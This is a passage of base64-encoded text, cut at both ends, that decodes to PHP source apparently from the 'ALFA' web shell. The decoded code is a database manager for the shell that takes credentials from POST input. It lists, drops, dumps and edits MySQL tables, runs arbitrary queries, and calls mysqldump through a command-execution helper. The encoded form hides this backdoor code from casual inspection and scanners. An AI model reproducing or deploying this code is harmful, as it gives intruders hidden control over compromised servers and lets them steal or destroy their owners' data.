xlX2NvdW50Jz4oeyRuWyduJ119KTwvc3Bhbj48L3NtYWxsPiIpIC4gIjwvZGl2PjwvbGk+IjsNCgkJfQ0KCQllY2hvICc8L3VsPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OiAyNnB4O21hcmdpbi1ib3R0b206IDEwcHg7bWFyZ2luLXRvcDogMTBweDsiPjxpbnB1dCBvbmNoYW5nZT0iYWxmYU15c3FsVGFibGVzRXZpbCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIGNsYXNzPSJkYi1vcHQtaWQiIG5hbWU9InRhYmxlc19ldmlsIiBzdHlsZT0icGFkZGluZzogMDt3aWR0aDogMTAwcHg7Ij48b3B0aW9uIHNlbGVjdGVkPmRyb3A8L29wdGlvbj48b3B0aW9uPmR1bXA8L29wdGlvbj48L3NlbGVjdD4gPGJ1dHRvbiBvbmNsaWNrPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcEJ0bih0aGlzKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicuJGRiX25hbWUuJyIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgY2xhc3M9ImRiLW9wdC1pZCI+RG8gaXQ8L2J1dHRvbj48ZGl2IGNsYXNzPSJkdW1wLWZpbGUtaG9sZGVyIiBzdHlsZT0iZGlzcGxheTpub25lO21hcmdpbi1sZWZ0OjIwcHg7bWFyZ2luLXRvcDogNXB4OyI+PGlucHV0IHN0eWxlPSJwYWRkaW5nOiAwO3RleHQtYWxpZ246Y2VudGVyOyIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9ImR1bXAuc3FsIiBuYW1lPSJkdW1wX2ZpbGUiPjwvZGl2PjwvZGl2Pic7DQoJfQ0KCWVjaG8gIjwvZGl2PjwvbGk+IjsNCn0NCmVjaG8gIjwvdWw+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktcmVzdWx0cyc+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktcmVzdWx0LXRhYnMnPjxkaXYgY2xhc3M9J2RiLW9wdC1pZCBteXNxbC1xdWVyeS1zZWxlY3RlZC10YWInIHRhcmdldD0nLm15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50JyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5SZXN1bHQ8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLXF1ZXJ5LWZvcm0nIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPlF1ZXJ5PC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1zZWFyY2gtYXJlYScgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+U2VhcmNoPC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1zdHJ1Y3R1cmUnIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPlN0cnVjdHVyZTwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtaW5zZXJ0LXJvdycgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+SW5zZXJ0PC9kaXY+PGRpdiBzdHlsZT0nZGlzcGxheTpub25lOycgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtZWRpdC1yb3cnIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPkVkaXQ8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLWluc2VydC1yb3cgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLWVkaXQtcm93IG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1zZWFyY2gtYXJlYSBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtc3RydWN0dXJlIG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1xdWVyeS1mb3JtIG15c3FsLWhpZGUtY29udGVudCc+PGRpdiBzdHlsZT0nbWFyZ2luLWJvdHRvbTogNXB4Oyc+PHNwYW4+UXVlcnk6PC9zcGFuPjwvZGl2Pjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjkwJTtoZWlnaHQ6MTAwcHgnPjwvdGV4dGFyZWE+PHA+PGRpdiBzdHlsZT0nZmxvYXQ6bGVmdDttYXJnaW4tbGVmdDogMzBweDsnPjxpbnB1dCBjbGFzcz0nYnV0dG9uIGRiLW9wdC1pZCcgZGJfdGFyZ2V0PSciLiRfUE9TVFsnc3FsX2Jhc2UnXS4iJyBvbmNsaWNrPSdhbGZhTXlzcWxRdWVyeSh0aGlzKTtyZXR1cm4gZmFsc2U7JyB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Rpdj48L3A+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCc+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlcic+PGRpdiBzdHlsZT0nbWFyZ2luLWJvdHRvbTogMTBweDsnIGNsYXNzPSdteXNxbC1xdWVyeS1yZXBvcnRlcic+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktcGFnZXInPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXRhYmxlJz48L2Rpdj48L2Rpdj48L2Zvcm0+PC90ZD48L3RyPiI7DQp9DQplY2hvICI8L3RhYmxlPjwvZGl2PiI7DQplY2hvICI8L2Rpdj4iOw0KfWVsc2V7DQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhU3FsX21hbmFnZXJfYXBpKCl7DQoJJGRiID0gJF9QT1NUWyJhbGZhMSJdOw0KCSR0eXBlID0gJF9QT1NUWyJhbGZhMiJdOw0KCSRzcWxfY291bnQgPSAkX1BPU1RbImFsZmEzIl0gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOw0KCSRkYiA9IEBqc29uX2RlY29kZSgkZGIsIHRydWUpOw0KCSRjb25uID0gQG15c3FsaV9jb25uZWN0KCRkYlsiaG9zdCJdLCAkZGJbInVzZXIiXSwgJGRiWyJwYXNzIl0sICRkYlsiZGIiXSk7DQoJQG15c3FsaV9zZXRfY2hhcnNldCgkY29ubiwgInV0ZjgiKTsNCglpZigkY29ubil7DQoJCWlmKCR0eXBlID09ICJsb2FkX2FsbF90YWJsZXMiKXsNCgkJCSR0YWJsZXMgPSBhcnJheSgpOw0KCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBgdGFibGVfc2NoZW1hYCwgYHRhYmxlX25hbWVgIEZST00gYGluZm9ybWF0aW9uX3NjaGVtYWAuYHRhYmxlc2AgV0hFUkUgYHRhYmxlX3NjaGVtYWAgSU4gKCciLmltcGxvZGUoIicsJyIsICRkYlsiZGF0YWJhc2VzIl0pLiInKTsiKTsNCgkJCSRjb3VudCA9IDA7DQoJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcV90YWJsZXMpKXsNCgkJCQlpZigkc3FsX2NvdW50KXsNCgkJCQkJJGNvdW50X3EgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0VMRUNUIENPVU5UKCopIEZST00gYCcuJHJvd1sidGFibGVfc2NoZW1hIl0uJ2AuYCcuJHJvd1sidGFibGVfbmFtZSJdLidgJyk7DQoJCQkJCWlmKCRjb3VudF9xKXsNCgkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb3VudF9xKTsNCgkJCQkJCSRjb3VudCA9ICRjb3VudFswXTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQkkdGFibGVzWyRyb3dbInRhYmxlX3NjaGVtYSJdXVtdID0gYXJyYXkoIm5hbWUiID0+ICRyb3dbInRhYmxlX25hbWUiXSwgImNvdW50IiA9PiAoaW50KSRjb3VudCk7DQoJCQl9DQoJCQlmb3JlYWNoKCRkYlsiZGF0YWJhc2VzIl0gYXMgJGRiKXsNCgkJCQlpZighaXNzZXQoJHRhYmxlc1skZGJdKSl7DQoJCQkJCSR0YWJsZXNbJGRiXSA9IG51bGw7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7DQoJCX1lbHNlaWYoJHR5cGUgPT0gImR1bXBfZHJvcCIpew0KCQkJaWYoJGRiWyJtb2RlIl0gPT0gImRyb3AiKXsNCgkJCQlmb3JlYWNoICgkZGJbInRhYmxlcyJdIGFzICR0YWJsZSkgew0KCQkJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiRFJPUCBUQUJMRSBgIi4kdGFibGUuImA7Iik7DQoJCQkJfQ0KCQkJCSR0YWJsZXMgPSBhcnJheSgpOw0KCQkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsNCgkJCQkkY291bnQgPSAwOw0KCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRxX3RhYmxlcykpew0KCQkJCQlpZigkc3FsX2NvdW50KXsNCgkJCQkJCSRjb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NIGAnLiRyb3dbMF0uJ2AnKTsNCgkJCQkJCWlmKCRjb3VudF9xKXsNCgkJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7DQoJCQkJCQkJJGNvdW50ID0gJGNvdW50WzBdOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCSR0YWJsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkcm93WzBdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsNCgkJCQl9DQoJCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7DQoJCQl9ZWxzZXsNCgkJCQlpZihzdHJsZW4oYWxmYUV4KCJteXNxbGR1bXAiKSk+MCl7DQoJCQkJCWFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiIuJGRiWyJob3N0Il0uIlwiIC0tdXNlcj1cIiIuJGRiWyJ1c2VyIl0uIlwiIC0tcGFzc3dvcmQ9XCIiLiRkYlsicGFzcyJdLiJcIiAiLiRkYlsiZGIiXS4iICIuaW1wbG9kZSgiICIsICRkYlsidGFibGVzIl0pLiIgID4gIi4kZGJbImR1bXBfZmlsZSJdKTsNCgkJCQl9ZWxzZXsNCgkJCQkJJGZwID0gQGZvcGVuKCRkYlsiZHVtcF9maWxlIl0sICJ3Iik7DQoJCQkJCWZvcmVhY2ggKCRkYlsidGFibGVzIl0gYXMgJHRhYmxlKSB7DQoJCQkJCQkkcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KCQkJCQkJJGNyZWF0ZSA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlcyk7DQoJCQkJCQkkc3FsID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWJsZS4iYDtcbiIgLiAkY3JlYXRlWzFdLiI7XG4iOw0KCQkJCQkJaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQkJJHRibF9kYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQoJCQkJCQkkaGVhZCA9IHRydWU7DQoJCQkJCQl3aGlsZSgkaXRlbSA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHRibF9kYXRhKSl7DQoJCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQoJCQkJCQkJaWYoJHYgPT0gbnVsbCkNCgkJCQkJCQkkaXRlbVska10gPSAiJyciOw0KCQkJCQkJCWVsc2VpZihpc19udW1lcmljKCR2KSkNCgkJCQkJCQkkaXRlbVska10gPSAkdjsNCgkJCQkJCQllbHNlDQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLkBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkaGVhZCkgew0KCQkJCQkJCSRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOw0KCQkJCQkJCSRoZWFkID0gZmFsc2U7DQoJCQkJCQkJfSBlbHNlDQoJCQkJCQkJJHNxbCA9ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCgkJCQkJCQlpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCQl9DQoJCQkJCQlpZighJGhlYWQpDQoJCQkJCQkJaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJmaWxlIiA9PiAkZGJbImR1bXBfZmlsZSJdKSk7DQoJCQl9DQoJCX1lbHNlaWYoJHR5cGUgPT0gImxvYWRfdGFibGVzIil7DQoJCQkkdGFibGVzID0gYXJyYXkoKTsNCgkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsNCgkJCSRjb3VudCA9IDA7DQoJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcV90YWJsZXMpKXsNCgkJCQlpZigkc3FsX2NvdW50KXsNCgkJCQkJJGNvdW50X3EgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0VMRUNUIENPVU5UKCopIEZST00gYCcuJHJvd1swXS4nYCcpOw0KCQkJCQlpZigkY291bnRfcSl7DQoJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7DQoJCQkJCQkkY291bnQgPSAkY291bnRbMF07DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHRhYmxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRyb3dbMF0sICJjb3VudCIgPT4gKGludCkkY291bnQpOw0KCQkJfQ0KCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7DQoJCX1lbHNlaWYoJHR5cGUgPT0gImFsdGVyIil7DQoJCQkkZGJbImFsdGVyIl1bInR5cGUiXSA9IHN0cnRvbG93ZXIoJGRiWyJhbHRlciJdWyJ0eXBlIl0pOw0KCQkJJGlucHV0cyA9ICRkYlsiYWx0ZXIiXVsidHlwZSJdLiIoIi4kZGJbImFsdGVyIl1bImlucHV0Il0uIikiOw0KCQkJJHRleHRfaW5wdXQgPSBhcnJheSgibG9uZ3RleHQiLCAidGV4dCIsICJtZWRpdW10ZXh0IiwgInRpbnl0ZXh0Iik7DQoJCQlpZihpbl9hcnJheSgkZGJbImFsdGVyIl1bInR5cGUiXSwgJHRleHRfaW5wdXQpKXsNCgkJCQkkaW5wdXRzID0gJGRiWyJhbHRlciJdWyJ0eXBlIl07DQoJCQl9DQoJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiQUxURVIgVEFCTEUgYCIuJGRiWyJ0YWJsZSJdLiJgIE1PRElGWSBDT0xVTU4gYCIuJGRiWyJjb2x1bW4iXS4iYCAiIC4gJGlucHV0cyk7DQoJCQkkZXJyb3IgPSBAbXlzcWxpX2Vycm9yKCRjb25uKTsNCgkJCWlmKCRlcnJvcil7DQoJCQkJZWNobyAkZXJyb3I7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICJvayI7DQoJCQl9DQoJCX1lbHNlaWYoJHR5cGUgPT0gImVkaXQiIHx8ICR0eXBlID09ICJkZWxldGUiIHx8ICR0eXBlID09ICJkZWxldGVfYWxsIil7DQoJCQlpZigkdHlwZSA9PSAiZWRpdCIpew0KCQkJCSRxID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCA9ICciLmFkZHNsYXNoZXMoJGRiWyJrZXkiXSkuIicgTElNSVQgMCwxIik7DQoJCQkJJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHEpOw0KCQkJCWlmKCRyb3cpew0KCQkJCQkkY29sdW1uc19xdWVyeSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgQ09MVU1OX05BTUUgYXMgbmFtZSwgQ09MVU1OX1RZUEUsIERBVEFfVFlQRSBhcyB0eXBlIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgYFRBQkxFX1NDSEVNQWAgPSAnIi4kZGJbImRiIl0uIicgQU5EIGBUQUJMRV9OQU1FYCA9ICciLiRkYlsidGFibGUiXS4iJyIpOw0KCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCSRlZGl0X2RhdGEgPSBhcnJheSgpOw0KCQkJCQl3aGlsZSgkcm93MiA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpew0KCQkJCQkJJGlucHV0ID0gYXJyYXkoImNvbF90eXBlIiA9PiAkcm93MlsiQ09MVU1OX1RZUEUiXSk7DQoJCQkJCQkkcm93MlsidHlwZSJdID0gc3RydG9sb3dlcigkcm93MlsidHlwZSJdKTsNCgkJCQkJCXN3aXRjaCgkcm93MlsidHlwZSJdKXsNCgkJCQkJCQljYXNlICJsb25ndGV4dCI6IGNhc2UgInRleHQiOiBjYXNlICJtZWRpdW10ZXh0IjogY2FzZSAidGlueXRleHQiOg0KCQkJCQkJCQkkaW5wdXRbInRhZyJdID0gInRleHRhcmVhIjsNCgkJCQkJCQlicmVhazsNCgkJCQkJCQljYXNlICJpbnQiOiBjYXNlICJzbWFsbGludCI6IGNhc2UgImJpZ2ludCI6IGNhc2UgInRpbnlpbnQiOiBjYXNlICJtZWRpdW1pbnQiOg0KCQkJCQkJCQkkaW5wdXRbInRhZyJdID0gImlucHV0IjsNCgkJCQkJCQkJJGlucHV0WyJ0eXBlIl0gPSAibnVtYmVyIjsNCgkJCQkJCQlicmVhazsNCgkJCQkJCQlkZWZhdWx0Og0KCQkJCQkJCQkkaW5wdXRbInRhZyJdID0gImlucHV0IjsNCgkJCQkJCQkJJGlucHV0WyJ0eXBlIl0gPSAidGV4dCI7DQoJCQkJCQl9DQoJCQkJCQkkY29sdW1uc1skcm93MlsibmFtZSJdXSA9ICRpbnB1dDsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRyb3cgYXMgJGtleSA9PiAkdil7DQoJCQkJCQkkZWRpdF9kYXRhW10gPSBhcnJheSgiY29sIiA9PiAka2V5LCAidmFsdWUiID0+IGh0bWxzcGVjaWFsY2hhcnMoJHYsIEVOVF9RVU9URVMsICdVVEYtOCcpLCAidHlwZSIgPT4gJGNvbHVtbnNbJGtleV0pOw0KCQkJCQl9DQoJCQkJCWVjaG8gQGpzb25fZW5jb2RlKCRlZGl0X2RhdGEpOw0KCQkJCX0NCgkJCX1lbHNlew0KCQkJCWlmKCR0eXBlID09ICJkZWxldGVfYWxsIil7DQoJCQkJCSRyb3dzID0gaW1wbG9kZSgiJywgJyIsICRkYlsicm93cyJdKTsNCgkJCQl9ZWxzZXsNCgkJCQkJJHJvd3MgPSBhZGRzbGFzaGVzKCRkYlsia2V5Il0pOw0KCQkJCX0NCgkJCQkkcXVlcnkgPSAiREVMRVRFIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCBJTiAoJyIuJHJvd3MuIicpIjsNCgkJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOw0KCQkJCSRlcnJvciA9IEBteXNxbGlfZXJyb3IoJGNvbm4pOw0KCQkJCWlmKCRlcnJvcil7DQoJCQkJIAkkc3RhdHVzID0gZmFsc2U7DQoJCQkJfWVsc2V7DQoJCQkJIAkkc3RhdHVzID0gdHJ1ZTsNCgkJCQl9DQoJCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gJHN0YXR1cywgImVycm9yIiA9PiAkZXJyb3IsICJxdWVyeSIgPT4gJHF1ZXJ5KSk7DQoJCQl9DQoJCX1lbHNlaWYoJHR5cGUgPT0gInVwZGF0ZSIpew0KCQkJJHF1ZXJ5ID0gIlVQREFURSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIFNFVCAiOw0KCQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpew0KCQkJCSRxdWVyeSAuPSAiYCIuJGNvbC4iYCA9ICciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sICR2YWwpLiInLCI7DQoJCQl9DQoJCQkkcXVlcnkgPSBzdWJzdHIoJHF1ZXJ5LCAwLCAtMSk7DQoJCSAgICAkcXVlcnkgLj0gIldIRVJFIGAiLiRkYlsiY29sX2tleSJdLiJgID0gJyIuJGRiWyJrZXkiXS4iJyI7DQoJCQkkcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsNCgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRyZXMsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubikpKTsNCgkJfWVsc2VpZigkdHlwZSA9PSAiaW5zZXJ0Iil7DQoJCQkkcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCAiOw0KCQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpew0KCQkJCSRjb2xzIC49ICRjb2wgLiAiLCI7DQoJCQkJJHZhbHMgLj0gIiciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sICR2YWwpLiInLCI7DQoJCQl9DQoJCQkkY29scyA9IHN1YnN0cigkY29scywgMCwgLTEpOw0KCQkJJHZhbHMgPSBzdWJzdHIoJHZhbHMsIDAsIC0xKTsNCgkJCSRxdWVyeSA9ICRxdWVyeSAuICIoIiAuICRjb2xzIC4gIikiIC4gIlZBTFVFUygiIC4gJHZhbHMgLiAiKSI7DQoJCQkkcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsNCgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRyZXMsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubikpKTsNCgkJfWVsc2V7DQoJCQkkcGFnZXMgPSAwOw0KCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkkcXVlcnkgPSAiIjsNCgkJCSR0YmxfY29udGVudCA9ICc8dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMiIgY2xhc3M9Im1haW4gbXlzcWwtZGF0YS10YmwiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7DQoJCQkkbGluZSA9IDA7DQoJCQkkdGFibGVzID0gYXJyYXkoKTsNCgkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCWlmKCR0eXBlID09ICJsb2FkX2RhdGEiKXsNCgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIExJTUlUIDAsMzAiOw0KCQkJCSR0YmxfY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIik7DQoJCQkJJHRibF9jb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCR0YmxfY291bnRfcSk7DQoJCQkJJGNvbHVtbnNfcXVlcnkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIGFzIG5hbWUsIENPTFVNTl9UWVBFIGFzIHR5cGUsIENPTExBVElPTl9OQU1FIGFzIGNvbGxhdGlvbiwgREFUQV9UWVBFIGFzIGRhdGFfdHlwZSwgQ0hBUkFDVEVSX01BWElNVU1fTEVOR1RIIGFzIHR5cGVfdmFsdWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSBgVEFCTEVfU0NIRU1BYCA9ICciLiRkYlsiZGIiXS4iJyBBTkQgYFRBQkxFX05BTUVgID0gJyIuJGRiWyJ0YWJsZSJdLiInIik7DQoJCQkJd2hpbGUoJHJvdzIgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRjb2x1bW5zX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsNCgkJCQkJJGNvbHVtbnNbXSA9ICRyb3cyOw0KCQkJCX0NCgkJCQlpZigkdGJsX2NvdW50WzBdID4gMzApew0KCQkJCQkkcGFnZXMgPSBjZWlsKCR0YmxfY291bnRbMF0gLyAzMCk7DQoJCQkJfQ0KCQkJfWVsc2VpZigkdHlwZSA9PSAicXVlcnkiKXsNCgkJCQkkcXVlcnkgPSAkZGJbInF1ZXJ5Il07DQoJCQl9ZWxzZWlmKCR0eXBlID09ICJwYWdlIil7DQoJCQkJJGRiWyJwYWdlIl0gPSAoaW50KSRkYlsicGFnZSJdIC0gMTsNCgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIExJTUlUICIuKCRkYlsicGFnZSJdKjMwKS4iLDMwIjsNCgkJCX1lbHNlaWYoJHR5cGUgPT0gInNlYXJjaCIpew0KCQkJCSRzZWFyY2ggPSAiIjsNCgkJCQkkc2VhcmNoX25vdmFsID0gYXJyYXkoIj0gJyciLCAiIT0gJyciLCAiSVMgTlVMTCIsICJJUyBOT1QgTlVMTCIpOw0KCQkJCWZvcmVhY2goJGRiWyJzZWFyY2giXSBhcyAkY29sID0+ICR2YWwpew0KCQkJCQkkc2VhcmNoX25vdmFsX3IgPSBpbl9hcnJheSgkdmFsWyJvcHQiXSwgJHNlYXJjaF9ub3ZhbCk7DQoJCQkJCWlmKGVtcHR5KCR2YWxbInZhbHVlIl0pICYmICEkc2VhcmNoX25vdmFsX3IpY29udGludWU7DQoJCQkJCWlmKHN0cnN0cigkdmFsWyJvcHQiXSwgIi4uLiIpIHx8ICRzZWFyY2hfbm92YWxfcil7DQoJCQkJCQkkdmFsWyJvcHQiXSA9IHN0cl9yZXBsYWNlKCIuLi4iLCAkdmFsWyJ2YWx1ZSJdLCAkdmFsWyJvcHQiXSk7DQoJCQkJCQkkc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgQU5EICI7DQoJCQkJCX1lbHNlew0KCQkJCQkJJHNlYXJjaCAuPSAkY29sIC4gIiAiIC4gJHZhbFsib3B0Il0gLiAiICciLmFkZHNsYXNoZXMoJHZhbFsidmFsdWUiXSkuIicgQU5EICI7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHNlYXJjaCAuPSAiMT0xIjsNCgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIFdIRVJFICIgLiAkc2VhcmNoOw0KCQkJfQ0KCQkJJHFfdGFibGVz